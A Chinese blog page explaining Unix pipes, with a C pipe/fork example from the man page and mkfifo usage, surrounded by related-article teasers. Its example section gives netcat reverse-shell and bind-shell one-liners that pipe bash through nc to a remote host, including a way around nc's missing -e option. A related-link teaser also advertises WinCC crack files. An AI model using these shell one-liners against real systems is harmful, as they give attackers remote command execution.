shell 之 pipe

Vertica和Hive表互操作方法比较(hdfs bulk load和shell pipe方法) 目录 1. 部署方式选择 2. Vertica和Hive互操作方法选择 2.1 方法1和性能:hdfs bulk load 2.2 方法2和性能:shell pipe 2.3 2种方法的比较 3 结论 1. 部署方式选择 Vertica和Hadoop是不相容的集群,磁盘部署方式(vertica是raid, hadoop是jobd)是不一样的,需要分离部署。 参考:https://... 阅读详情

pipe分为有名管道和匿名管道

1.匿名管道的系统调用

//代码来源 man pipe
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int
main(int argc, char *argv[])
{
   int pipefd[2];
   pid_t cpid;
   char buf;

   if (argc != 2) {
    fprintf(stderr, "Usage: %s <string>\n", argv[0]);
    exit(EXIT_FAILURE);
   }

   if (pipe(pipefd) == -1) {
       perror("pipe");
       exit(EXIT_FAILURE);
   }

   cpid = fork();
   if (cpid == -1) {
       perror("fork");
       exit(EXIT_FAILURE);
   }

   if (cpid == 0) {    /* Child reads from pipe */
       close(pipefd[1]);          /* Close unused write end */

       while (read(pipefd[0], &buf, 1) > 0)
           write(STDOUT_FILENO, &buf, 1);

       write(STDOUT_FILENO, "\n", 1);
       close(pipefd[0]);
       _exit(EXIT_SUCCESS);

   } else {            /* Parent writes argv[1] to pipe */
       close(pipefd[0]);          /* Close unused read end */
       write(pipefd[1], argv[1], strlen(argv[1]));
       close(pipefd[1]);          /* Reader will see EOF */
       wait(NULL);                /* Wait for child */
       exit(EXIT_SUCCESS);
   }
}

可以看出来基本是当成文件来用的,所以在shell里用法也应该差不多。

2.shell中的pipe

2.1 创建

mknod pipe_name p
mkfifo pipe_name 

2.2 使用

#下面两句的顺序不重要
#不过先运行的指令会卡住
#这里cat执行后echo这句才会结束
echo aaa > pipe_name
cat pipe_name
cat > pipe_name
cat < pipe_name #同cat pipe_name

关于cat:

cat|cat|cat|cat|cat #效果等价于一个cat

另外一个无聊的用法:

mkfifo myin
mkfifo myout
cat >myin
cat <myout
bash <myin >myout 2>&1 &

总之有了管道之后,就可把不同程序的输入和输出像接水管一样接起来。。。
管道是可以有n个输入和n个输出的,
当一个管道有多个输出时,默认输出轮流在多个输出间切换(轮询调度)(Round-Robin Scheduling)

3.例子

用pipe实现nc反弹shell

#0 stdin
#1 stdout
#2 stderr
$ bash < aaa |nc -l 1234 1>aaa

另外一个跳过-e选项的方法

nc -l port1
nc -l port2
nc ip port1 | bash | nc ip port2

参考:
1.http://www.2cto.com/Article/201407/318222.html
2.http://www.waitalone.cn/linux-shell-rebound-under-way.html

怎样使用spark的pipe调用外部程序 版权声明:本文为博主原创文章,转载请附上原文出处链接和本声明 怎样使用spark的pipe调用外部程序 Spark在RDD上提供pipe()方法。Spark的pipe()方法可以让我们使用任意一种语言实现Spark作业中的部分逻辑,只要它能读写Unix标准的流就行。通过pipe(),你可以将RDD中的各元素从标准输入流中以字符串形式读出,并对这些元素执行任何你需要的操作,然后把结果以字符串的形式写... 阅读详情

相关推荐

linux shell 管道命令(pipe)使用及与shell重定向区别

主要介绍了linux shell 管道命令(pipe)使用及与shell重定向区别,需要的朋友可以参考下

shell中神奇的管道命令(pipe)

管道,首次看到这个名词,我并不能将他和os还有shell联系到一起。很难想象这么机械化的一个词语居然能和编程联系起来,而且他还是shell编程中比较重要的一环。 bash命令执行的时候偶输出的数据会出现。那么如果这群数据必须要经过几道手续才能得到我们想要的格式,此时就要需要用到“|”这个界定符号了。管道命令与连续命令是不一样的。简单举个例子: ls -al /etc | less 即可利用les...

sinat_42759524的博客 1659

IsaacLab从入门到精通(二) 导入自定义机器人

IsaacLab系列第二讲,导入自定义的机器人及设置

DejaWu33的博客 8466

Shell入门(六)之Shell pipe(管道)

Shell入门(六)之Shell pipe(管道) Shell pipe(管道)命令 pipe(管道)命令使用|界定符号。 pipe管道命令|,仅能处理经由前面一个指令传来的信息,也就是标准输出(standard output)的信息,对于标准错误输出(standard error output)没有处理能力。整体的pipe管道命令可以使用下图表示: eg:在当前用户执行ls -a

Widsom的博客 5389

IPV6基本配置

IPV6配置,DHCPV6,华为模拟器,IPV6的M/O标志位

路漫漫其修远兮 4665

HarmonyOS NEXT 开发者预览版Beta招募应知测试

本次HarmonyOS NEXT 开发者预览版 Beta 招募活动为开发者预览版尝鲜升级,主要供开发者进行应用调测使用,除部分系统应用外,其他所有应用将被清除,因此在进行HarmonyOS NEXT 开发者预览版升级前,需进行数据备份。通过应知测试,并提交了参加HarmonyOS NEXT 开发者预览版招募 Beta 活动的报名信息,就会立刻审核通过并且收到新版本。手机在参加HarmonyOS NEXT 开发者预览版 Beta 招募活动前,需要对应机型升级到招募要求对应的基线版本,并预留内存空间。

长久公子的博客 8649

shell管道命令(pipe)

shell管道命令(pipe) 功能: 管道命令操作符是:| , 它仅能处理前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于 stdandard error 信息没有直接处理能力。然后将输出信息传递给下一个命令,作为标准输入 standard input。 用法: 在每个管线后面接的第一个数据必定是『命令』,而且这个命令必须要能够接受 standard ...

简之的通向技术之路 9172

QCM6490平台DDR测试:从QDUTT配置到眼图分析的实战指南

本文详细介绍了QCM6490平台DDR测试的全流程,从QDUTT工具安装配置到眼图分析,提供了实战操作指南和常见问题解决方案。通过具体案例分享,帮助工程师掌握DDR测试技巧,确保内存稳定性,特别适用于物联网和边缘计算设备的开发调试。

weixin_33910191的博客 458

Shell管道和过滤器

Shell管道和过滤器

Charge8的博客 1665

adb 通信协议分析以及实现 (三) (Adb 网络通信部分解析)

这篇文章说下adb 和adb 服务进程之间通信的socket 协议。  adb 服务进程启动之后,会监视本地的5037 端口,使用的是TCP 协议,所以adb 发送的命令其实就是往本地的5037 端口发送数据,做过网络编程的都知道,本机可以用127.0.0.1 ip地址。 有了ip 地址和端口号socket 通信就没问题 1)  命令发送方式      

inforecovvery的博客 2870

12306自动抢票系统:基于DrissionPage的智能购票实战

摘要:本文介绍了一个基于DrissionPage的12306自动抢票系统实现方案。该系统通过模拟真实用户操作,实现了车票查询、登录认证、座位选择和订单提交的全流程自动化。项目采用DrissionPage库替代传统Selenium方案,具有更简洁的API设计和更好的性能表现。核心技术包括数据包监听、动作链模拟和反爬虫应对策略,实现了高效可靠的车票抢购功能。系统包含完整的业务流程设计,从环境初始化到最终订单提交,并提供了清晰的数据展示界面。本文强调该项目仅用于技术研究,在实际使用中应严格遵守12306平台规则

那些看似不起波澜的日复一日,会在某天让你看到坚持的意义 2789

Shell 中的 Pipe 破裂机制浅谈

内容转自CU lightspeed 的解说 很精彩!Pipe 是 shell 中进程间通信的一种机制, 虽然大家经常使用, 但对于不搞开发人来说, 其实现的一些细节未必很清楚。 本文就想以 shell 用户,而不是C programmer 的角度探讨一下 shell 中 pipe 的实现细节。因此论述不一定特别精确。这里讨论的是普通的单向 pipe, 不论及 co-

很多东西学会了可以不用记录的,记录的都是寂寞罢了 1803

【推荐100个unity插件】unity实现交互式火焰 —— Ignis

Ignis是一款Unity互动式消防系统插件,可轻松将物体转换为可燃物。支持固体、植被、蒙皮网格和地形树木等多种对象类型,提供火焰蔓延、熄灭等效果。安装需通过Unity Package Manager添加Visual Effects Graph,并按照指引转换目标物体材质。使用盒型碰撞体或网格计算燃烧区域,可自定义火焰参数和视觉效果。内置多种转换选项,如Flammable Vegetation、Flammable Skinned Mesh等,适用于不同场景需求。注意使用前需备份材质和地形数据,并提供性能优化

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 2236

GNU coreutils 进程间通信终极指南:pipe、fifo、socket的Shell实现

在现代Linux系统编程中,进程间通信(IPC)是必不可少的核心技能。GNU coreutils作为Linux系统的基石工具集,提供了强大而灵活的IPC功能实现。本文将带你深入了解如何利用coreutils工具进行pipe管道通信、fifo命名管道和socket套接字通信,让你的Shell脚本拥有专业级的进程协作能力。 ## 🔥 什么是进程间通信? 进程间通信(Inter-Process C

gitblog_00164的博客 1025

13、基因相似性度量的相关性及特征选择研究

本文研究了基因相似性度量和特征选择在生物学中的应用,详细介绍了GO术语相似性度量的多种方法,包括语义度量和路径长度度量,并分析了不同方法在酵母和人类数据集上的表现。研究发现,Avg-sum方法和基于路径长度的度量在多数情况下效果较好。此外,通过晚期辐射毒性预测的案例研究,探讨了特征选择的重要性及可能面临的过拟合和噪声干扰问题,并提出了相应的解决策略。

js777的博客 127

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

shell工具 pv (pipe viewer)

写shell对1g多的日志做统计,中间那个慢啊,又没有进度显示,万一脚本写错了,等待时间又白费了 现在给大家介绍一个看执行进度的工具—-pv 它可以加入到管道中的任意一层,查看数据的通过量 安装 wget http://pipeviewer.googlecode.co

东杰书屋 3555

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Linux Shell 管道命令(pipe)的使用

Linux Shell 管道命令(pipe)的使用   Shell管道命令是Linux系统下常被提及的一些内容,接下来我们就来看一下:Shell管道命令。    首先我们要清楚:管道命令操作符是:”|”,它仅能处理经由前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于stdandard error 信息没有直接处理能力。然后,传递给下一个命令,作为标准的输

u014536527的专栏 8114

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

linux shell 管道命令(pipe)使用及shell重定向

管道命令操作符是:”|”,它仅能处理经由前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于 stdandard  error 信息没有直接处理能力。然后,传递给下一个命令,作为标准的输入 standard input.   管道命令使用说明: 先看下下面图: command1正确输出,作为command2的输入 然后comand2的输出作为,

sofia1217的专栏 3684

linux pipe函数 重定向,shell管道重定向程序的实现

管道常用于不同命令的组合使用,比如ps -aux|grep ..用于查找指定条件的进程,ls|less用于实现文件列表的分页显示等。总之是将前一个命令的输出作为后一个命令的输入,完成一个命令无法完成的功能。分别使用pipe()和popen()两种方式实现ls|less(ls|more)的功能。gao.lu.cgao.lu.c~ls.opipeduptest1test2test3test4【1】使用...

weixin_31596631的博客 441

linux shell 管道命令(pipe)

管道命令操作符是:”|”,它仅能处理经由前面一个指令传出的正确输出信息,也就是 standard output 的信息,对于 stdandard  error 信息没有直接处理能力。然后,传递给下一个命令,作为标准的输入 standard input.   管道命令

【大漠孤烟】 的专栏 1541
上一篇: epoll
下一篇: 复习笔记——计算机组成原理
harryhare
博客等级 码龄17年 141粉丝 291原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值